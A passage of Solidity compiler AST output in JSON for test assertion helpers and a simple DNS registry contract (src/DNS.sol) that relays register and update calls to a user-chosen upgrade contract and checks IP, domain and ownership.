(bytes32)","value":"log_bytes32"},"id":2726,"name":"Identifier","src":"4478:11:0"},{"attributes":{"hexvalue":"4572726f723a2057726f6e6720606279746573272076616c7565","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Error: Wrong `bytes' value\"","value":"Error: Wrong `bytes' value"},"id":2727,"name":"Literal","src":"4490:28:0"}],"id":2728,"name":"FunctionCall","src":"4478:41:0"}],"id":2729,"name":"EmitStatement","src":"4473:46:0"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_42fa07d7c51ce5de92a0fc65dbf7e7800814fd01c258dc50e84d5be59184bf0b","typeString":"literal_string \" Expected\""},{"typeIdentifier":"t_stringliteral_114abc6f5feef50a69018410f606b7d627316d08afceb7cb9a49953260f8f53a","typeString":"literal_string \"[cannot show `bytes' value]\""}],"overloadedDeclarations":[null],"referencedDeclaration":2331,"type":"function (bytes32,bytes32)","value":"log_named_bytes32"},"id":2730,"name":"Identifier","src":"4538:17:0"},{"attributes":{"hexvalue":"20204578706563746564","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \" Expected\"","value":" Expected"},"id":2731,"name":"Literal","src":"4556:12:0"},{"attributes":{"hexvalue":"5b63616e6e6f742073686f7720606279746573272076616c75655d","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"[cannot show `bytes' value]\"","value":"[cannot show `bytes' value]"},"id":2732,"name":"Literal","src":"4570:29:0"}],"id":2733,"name":"FunctionCall","src":"4538:62:0"}],"id":2734,"name":"EmitStatement","src":"4533:67:0"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5ed16c64a79c5a2deea18e537423721285b2f504833bef698f18f980c85ab849","typeString":"literal_string \" Actual\""},{"typeIdentifier":"t_stringliteral_114abc6f5feef50a69018410f606b7d627316d08afceb7cb9a49953260f8f53a","typeString":"literal_string \"[cannot show `bytes' value]\""}],"overloadedDeclarations":[null],"referencedDeclaration":2331,"type":"function (bytes32,bytes32)","value":"log_named_bytes32"},"id":2735,"name":"Identifier","src":"4619:17:0"},{"attributes":{"hexvalue":"202041637475616c","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \" Actual\"","value":" Actual"},"id":2736,"name":"Literal","src":"4637:10:0"},{"attributes":{"hexvalue":"5b63616e6e6f742073686f7720606279746573272076616c75655d","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"[cannot show `bytes' value]\"","value":"[cannot show `bytes' value]"},"id":2737,"name":"Literal","src":"4649:29:0"}],"id":2738,"name":"FunctionCall","src":"4619:60:0"}],"id":2739,"name":"EmitStatement","src":"4614:65:0"},{"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"overloadedDeclarations":[null],"referencedDeclaration":2385,"type":"function ()","value":"fail"},"id":2740,"name":"Identifier","src":"4693:4:0"}],"id":2741,"name":"FunctionCall","src":"4693:6:0"}],"id":2742,"name":"ExpressionStatement","src":"4693:6:0"}],"id":2743,"name":"Block","src":"4459:251:0"}],"id":2744,"name":"IfStatement","src":"4450:260:0"}],"id":2745,"name":"Block","src":"4177:539:0"}],"id":2746,"name":"FunctionDefinition","src":"4117:599:0"}],"id":2747,"name":"ContractDefinition","src":"704:4014:0"}],"id":2748,"name":"SourceUnit","src":"679:4040:0"}},"src/DNS.sol":{"AST":{"attributes":{"absolutePath":"src/DNS.sol","exportedSymbols":{"DNS":[308],"IDNS":[1462],"Upgrade":[2050]},"license":"GPL-v3"},"children":[{"attributes":{"literals":["solidity","^","0.7",".0"]},"id":1,"name":"PragmaDirective","src":"36:23:1"},{"attributes":{"literals":["experimental","ABIEncoderV2"]},"id":2,"name":"PragmaDirective","src":"60:33:1"},{"attributes":{"SourceUnit":1463,"absolutePath":"src/IDNS.sol","file":"./IDNS.sol","scope":309,"symbolAliases":[null],"unitAlias":""},"id":3,"name":"ImportDirective","src":"95:20:1"},{"attributes":{"SourceUnit":2051,"absolutePath":"src/Upgrade.sol","file":"./Upgrade.sol","scope":309,"symbolAliases":[null],"unitAlias":""},"id":4,"name":"ImportDirective","src":"116:23:1"},{"attributes":{"abstract":false,"contractDependencies":[1462,2050],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[308,2050,1462],"name":"DNS","scope":309},"children":[{"attributes":{"text":"@title Simple implementation of a DNS.\n @notice It uses `Upgrade` as its upgrade mechanism.\n If a user chooses to\n upgrade, the functions in this contract will relay the message to the\n upgrade chosen by that user.\n Users should only trust and opt-in upgrades that only accept messages where\n msg.sender == tx.origin or\n msg.sender is the original DNS contract or\n msg.sender is an upgrade that the user trusted at some point."},"id":5,"name":"StructuredDocumentation","src":"141:455:1"},{"attributes":{},"children":[{"attributes":{"name":"IDNS","referencedDeclaration":1462,"type":"contract IDNS"},"id":6,"name":"UserDefinedTypeName","src":"612:4:1"}],"id":7,"name":"InheritanceSpecifier","src":"612:4:1"},{"attributes":{},"children":[{"attributes":{"name":"Upgrade","referencedDeclaration":2050,"type":"contract Upgrade"},"id":8,"name":"UserDefinedTypeName","src":"618:7:1"}],"id":9,"name":"InheritanceSpecifier","src":"618:7:1"},{"attributes":{"constant":false,"mutability":"mutable","name":"data","scope":308,"stateVariable":true,"storageLocation":"default","type":"mapping(string => struct IDNS.Entry)","visibility":"internal"},"children":[{"attributes":{"type":"mapping(string => struct IDNS.Entry)"},"children":[{"attributes":{"name":"string","type":"string"},"id":10,"name":"ElementaryTypeName","src":"638:6:1"},{"attributes":{"name":"Entry","referencedDeclaration":1425,"type":"struct IDNS.Entry"},"id":11,"name":"UserDefinedTypeName","src":"648:5:1"}],"id":12,"name":"Mapping","src":"629:25:1"}],"id":13,"name":"VariableDeclaration","src":"629:30:1"},{"attributes":{"constant":false,"functionSelector":"0528b345","mutability":"immutable","name":"upgradeInfo","scope":308,"stateVariable":true,"storageLocation":"default","type":"contract Upgrade","visibility":"public"},"children":[{"attributes":{"name":"Upgrade","referencedDeclaration":2050,"type":"contract Upgrade"},"id":15,"name":"UserDefinedTypeName","src":"1025:7:1"},{"attributes":{"text":"@notice The upgrade engine for this DNS contract.\n Users need to actively opt-in the latest suggested upgrade\n in the `upgradeInfo` contract.\n If that upgrade is finalized and the user opted in, their calls\n will be directed to the upgrade contract they chose.\n That information is retrieved via `upgradeInfo.activeUpgrade(msg.sender)`."},"id":14,"name":"StructuredDocumentation","src":"663:360:1"}],"id":16,"name":"VariableDeclaration","src":"1025:36:1"},{"attributes":{"implemented":true,"isConstructor":true,"kind":"constructor","modifiers":[null],"name":"","scope":308,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_upgradeInfo","scope":26,"stateVariable":false,"storageLocation":"default","type":"contract Upgrade","visibility":"internal"},"children":[{"attributes":{"name":"Upgrade","referencedDeclaration":2050,"type":"contract Upgrade"},"id":17,"name":"UserDefinedTypeName","src":"1077:7:1"}],"id":18,"name":"VariableDeclaration","src":"1077:20:1"}],"id":19,"name":"ParameterList","src":"1076:22:1"},{"attributes":{"parameters":[null]},"children":[],"id":20,"name":"ParameterList","src":"1099:0:1"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"contract Upgrade"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":16,"type":"contract Upgrade","value":"upgradeInfo"},"id":21,"name":"Identifier","src":"1103:11:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":18,"type":"contract Upgrade","value":"_upgradeInfo"},"id":22,"name":"Identifier","src":"1117:12:1"}],"id":23,"name":"Assignment","src":"1103:26:1"}],"id":24,"name":"ExpressionStatement","src":"1103:26:1"}],"id":25,"name":"Block","src":"1099:34:1"}],"id":26,"name":"FunctionDefinition","src":"1065:68:1"},{"attributes":{"baseFunctions":[1435],"functionSelector":"89404978","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"register","scope":308,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"attributes":{"overrides":[null]},"id":34,"name":"OverrideSpecifier","src":"1214:8:1"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":112,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":27,"name":"ElementaryTypeName","src":"1154:6:1"}],"id":28,"name":"VariableDeclaration","src":"1154:21:1"},{"attributes":{"constant":false,"mutability":"mutable","name":"_ip","scope":112,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":29,"name":"ElementaryTypeName","src":"1177:6:1"}],"id":30,"name":"VariableDeclaration","src":"1177:10:1"},{"attributes":{"constant":false,"mutability":"mutable","name":"_owner","scope":112,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":31,"name":"ElementaryTypeName","src":"1189:7:1"}],"id":32,"name":"VariableDeclaration","src":"1189:14:1"}],"id":33,"name":"ParameterList","src":"1153:51:1"},{"attributes":{"parameters":[null]},"children":[],"id":35,"name":"ParameterList","src":"1223:0:1"},{"children":[{"attributes":{"assignments":[37,39]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"upgrade","scope":111,"stateVariable":false,"storageLocation":"default","type":"bool","visibility":"internal"},"children":[{"attributes":{"name":"bool","type":"bool"},"id":36,"name":"ElementaryTypeName","src":"1228:4:1"}],"id":37,"name":"VariableDeclaration","src":"1228:12:1"},{"attributes":{"constant":false,"mutability":"mutable","name":"to","scope":111,"stateVariable":false,"storageLocation":"default","type":"contract IDNS","visibility":"internal"},"children":[{"attributes":{"name":"IDNS","referencedDeclaration":1462,"type":"contract IDNS"},"id":38,"name":"UserDefinedTypeName","src":"1242:4:1"}],"id":39,"name":"VariableDeclaration","src":"1242:7:1"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bool,contract IDNS)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"activeUpgrade","referencedDeclaration":1886,"type":"function (address) view external returns (bool,contract IDNS)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":16,"type":"contract Upgrade","value":"upgradeInfo"},"id":40,"name":"Identifier","src":"1253:11:1"}],"id":41,"name":"MemberAccess","src":"1253:25:1"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":42,"name":"Identifier","src":"1279:3:1"}],"id":43,"name":"MemberAccess","src":"1279:10:1"}],"id":44,"name":"FunctionCall","src":"1253:37:1"}],"id":45,"name":"VariableDeclarationStatement","src":"1227:63:1"},{"attributes":{},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":37,"type":"bool","value":"upgrade"},"id":46,"name":"Identifier","src":"1298:7:1"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_address","typeString":"address"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"register","referencedDeclaration":1435,"type":"function (string memory,bytes4,address) external"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract IDNS","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDNS_$1462","typeString":"contract IDNS"}],"overloadedDeclarations":[null],"referencedDeclaration":1462,"type":"type(contract IDNS)","value":"IDNS"},"id":47,"name":"Identifier","src":"1312:4:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":39,"type":"contract IDNS","value":"to"},"id":48,"name":"Identifier","src":"1317:2:1"}],"id":49,"name":"FunctionCall","src":"1312:8:1"}],"id":50,"name":"MemberAccess","src":"1312:17:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":28,"type":"string memory","value":"_domain"},"id":51,"name":"Identifier","src":"1330:7:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":30,"type":"bytes4","value":"_ip"},"id":52,"name":"Identifier","src":"1339:3:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":32,"type":"address","value":"_owner"},"id":53,"name":"Identifier","src":"1344:6:1"}],"id":54,"name":"FunctionCall","src":"1312:39:1"}],"id":55,"name":"ExpressionStatement","src":"1312:39:1"},{"attributes":{"functionReturnParameters":35},"id":56,"name":"Return","src":"1356:7:1"}],"id":57,"name":"Block","src":"1307:60:1"}],"id":58,"name":"IfStatement","src":"1294:73:1"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_818369fc27b41970164aeb324b3b097bedf18c9052919a469ce89fd7dce7fa5e","typeString":"literal_string \"Invalid ip.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":59,"name":"Identifier","src":"1371:7:1"},{"attributes":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!=","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":30,"type":"bytes4","value":"_ip"},"id":60,"name":"Identifier","src":"1379:3:1"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":61,"name":"Literal","src":"1386:1:1"}],"id":62,"name":"BinaryOperation","src":"1379:8:1"},{"attributes":{"hexvalue":"496e76616c69642069702e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Invalid ip.\"","value":"Invalid ip."},"id":63,"name":"Literal","src":"1389:13:1"}],"id":64,"name":"FunctionCall","src":"1371:32:1"}],"id":65,"name":"ExpressionStatement","src":"1371:32:1"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_72301f333e9c6369f582d6ed0c62433b919531b006491d7068fd9dc5b3b5dced","typeString":"literal_string \"Invalid domain.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":66,"name":"Identifier","src":"1407:7:1"},{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":">","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"length","type":"uint256"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bytes memory","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(bytes storage pointer)"},"children":[{"attributes":{"name":"bytes"},"id":67,"name":"ElementaryTypeName","src":"1415:5:1"}],"id":68,"name":"ElementaryTypeNameExpression","src":"1415:5:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":28,"type":"string memory","value":"_domain"},"id":69,"name":"Identifier","src":"1421:7:1"}],"id":70,"name":"FunctionCall","src":"1415:14:1"}],"id":71,"name":"MemberAccess","src":"1415:21:1"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":72,"name":"Literal","src":"1439:1:1"}],"id":73,"name":"BinaryOperation","src":"1415:25:1"},{"attributes":{"hexvalue":"496e76616c696420646f6d61696e2e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Invalid domain.\"","value":"Invalid domain."},"id":74,"name":"Literal","src":"1442:17:1"}],"id":75,"name":"FunctionCall","src":"1407:53:1"}],"id":76,"name":"ExpressionStatement","src":"1407:53:1"},{"attributes":{"assignments":[78]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"entry","scope":111,"stateVariable":false,"storageLocation":"storage","type":"struct IDNS.Entry","visibility":"internal"},"children":[{"attributes":{"name":"Entry","referencedDeclaration":1425,"type":"struct IDNS.Entry"},"id":77,"name":"UserDefinedTypeName","src":"1465:5:1"}],"id":78,"name":"VariableDeclaration","src":"1465:19:1"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct IDNS.Entry storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":13,"type":"mapping(string memory => struct IDNS.Entry storage ref)","value":"data"},"id":79,"name":"Identifier","src":"1487:4:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":28,"type":"string memory","value":"_domain"},"id":80,"name":"Identifier","src":"1492:7:1"}],"id":81,"name":"IndexAccess","src":"1487:13:1"}],"id":82,"name":"VariableDeclarationStatement","src":"1465:35:1"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_cf4795eecd9c709705bcc58cb66aa65b7544ae178f3f46e39cf23a0a32f659e8","typeString":"literal_string \"Domain already taken.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":83,"name":"Identifier","src":"1504:7:1"},{"attributes":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"&&","type":"bool"},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"ip","referencedDeclaration":1422,"type":"bytes4"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":78,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":84,"name":"Identifier","src":"1512:5:1"}],"id":85,"name":"MemberAccess","src":"1512:8:1"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":86,"name":"Literal","src":"1524:1:1"}],"id":87,"name":"BinaryOperation","src":"1512:13:1"},{"attributes":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"owner","referencedDeclaration":1424,"type":"address"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":78,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":88,"name":"Identifier","src":"1529:5:1"}],"id":89,"name":"MemberAccess","src":"1529:11:1"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":true,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address payable","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":90,"name":"ElementaryTypeName","src":"1544:7:1"}],"id":91,"name":"ElementaryTypeNameExpression","src":"1544:7:1"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":92,"name":"Literal","src":"1552:1:1"}],"id":93,"name":"FunctionCall","src":"1544:10:1"}],"id":94,"name":"BinaryOperation","src":"1529:25:1"}],"id":95,"name":"BinaryOperation","src":"1512:42:1"},{"attributes":{"hexvalue":"446f6d61696e20616c72656164792074616b656e2e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Domain already taken.\"","value":"Domain already taken."},"id":96,"name":"Literal","src":"1556:23:1"}],"id":97,"name":"FunctionCall","src":"1504:76:1"}],"id":98,"name":"ExpressionStatement","src":"1504:76:1"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"bytes4"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"member_name":"ip","referencedDeclaration":1422,"type":"bytes4"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":78,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":99,"name":"Identifier","src":"1585:5:1"}],"id":101,"name":"MemberAccess","src":"1585:8:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":30,"type":"bytes4","value":"_ip"},"id":102,"name":"Identifier","src":"1596:3:1"}],"id":103,"name":"Assignment","src":"1585:14:1"}],"id":104,"name":"ExpressionStatement","src":"1585:14:1"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"address"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"member_name":"owner","referencedDeclaration":1424,"type":"address"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":78,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":105,"name":"Identifier","src":"1603:5:1"}],"id":107,"name":"MemberAccess","src":"1603:11:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":32,"type":"address","value":"_owner"},"id":108,"name":"Identifier","src":"1617:6:1"}],"id":109,"name":"Assignment","src":"1603:20:1"}],"id":110,"name":"ExpressionStatement","src":"1603:20:1"}],"id":111,"name":"Block","src":"1223:404:1"}],"id":112,"name":"FunctionDefinition","src":"1136:491:1"},{"attributes":{"baseFunctions":[1443],"functionSelector":"f7a46696","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"update","scope":308,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"attributes":{"overrides":[null]},"id":118,"name":"OverrideSpecifier","src":"1690:8:1"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":188,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":113,"name":"ElementaryTypeName","src":"1646:6:1"}],"id":114,"name":"VariableDeclaration","src":"1646:21:1"},{"attributes":{"constant":false,"mutability":"mutable","name":"_ip","scope":188,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":115,"name":"ElementaryTypeName","src":"1669:6:1"}],"id":116,"name":"VariableDeclaration","src":"1669:10:1"}],"id":117,"name":"ParameterList","src":"1645:35:1"},{"attributes":{"parameters":[null]},"children":[],"id":119,"name":"ParameterList","src":"1699:0:1"},{"children":[{"attributes":{"assignments":[121,123]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"upgrade","scope":187,"stateVariable":false,"storageLocation":"default","type":"bool","visibility":"internal"},"children":[{"attributes":{"name":"bool","type":"bool"},"id":120,"name":"ElementaryTypeName","src":"1704:4:1"}],"id":121,"name":"VariableDeclaration","src":"1704:12:1"},{"attributes":{"constant":false,"mutability":"mutable","name":"to","scope":187,"stateVariable":false,"storageLocation":"default","type":"contract IDNS","visibility":"internal"},"children":[{"attributes":{"name":"IDNS","referencedDeclaration":1462,"type":"contract IDNS"},"id":122,"name":"UserDefinedTypeName","src":"1718:4:1"}],"id":123,"name":"VariableDeclaration","src":"1718:7:1"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bool,contract IDNS)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"activeUpgrade","referencedDeclaration":1886,"type":"function (address) view external returns (bool,contract IDNS)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":16,"type":"contract Upgrade","value":"upgradeInfo"},"id":124,"name":"Identifier","src":"1729:11:1"}],"id":125,"name":"MemberAccess","src":"1729:25:1"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":126,"name":"Identifier","src":"1755:3:1"}],"id":127,"name":"MemberAccess","src":"1755:10:1"}],"id":128,"name":"FunctionCall","src":"1729:37:1"}],"id":129,"name":"VariableDeclarationStatement","src":"1703:63:1"},{"attributes":{},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":121,"type":"bool","value":"upgrade"},"id":130,"name":"Identifier","src":"1774:7:1"},{"children":[{"attributes":{"assignments":[null,132]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"owner","scope":157,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":131,"name":"ElementaryTypeName","src":"1790:7:1"}],"id":132,"name":"VariableDeclaration","src":"1790:13:1"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bytes4,address)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"resolve","referencedDeclaration":1461,"type":"function (string memory) view external returns (bytes4,address)"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract IDNS","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDNS_$1462","typeString":"contract IDNS"}],"overloadedDeclarations":[null],"referencedDeclaration":1462,"type":"type(contract IDNS)","value":"IDNS"},"id":133,"name":"Identifier","src":"1807:4:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":123,"type":"contract IDNS","value":"to"},"id":134,"name":"Identifier","src":"1812:2:1"}],"id":135,"name":"FunctionCall","src":"1807:8:1"}],"id":136,"name":"MemberAccess","src":"1807:16:1"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":114,"type":"string memory","value":"_domain"},"id":137,"name":"Identifier","src":"1824:7:1"}],"id":138,"name":"FunctionCall","src":"1807:25:1"}],"id":139,"name":"VariableDeclarationStatement","src":"1788:44:1"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_bd6c1ce7819bd375b0951e8f24f62087ea6f8085ed8dd177eac2d51e7618d692","typeString":"literal_string \"Not the owner in upgraded contract.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":140,"name":"Identifier","src":"1837:7:1"},{"attributes":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":132,"type":"address","value":"owner"},"id":141,"name":"Identifier","src":"1845:5:1"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address 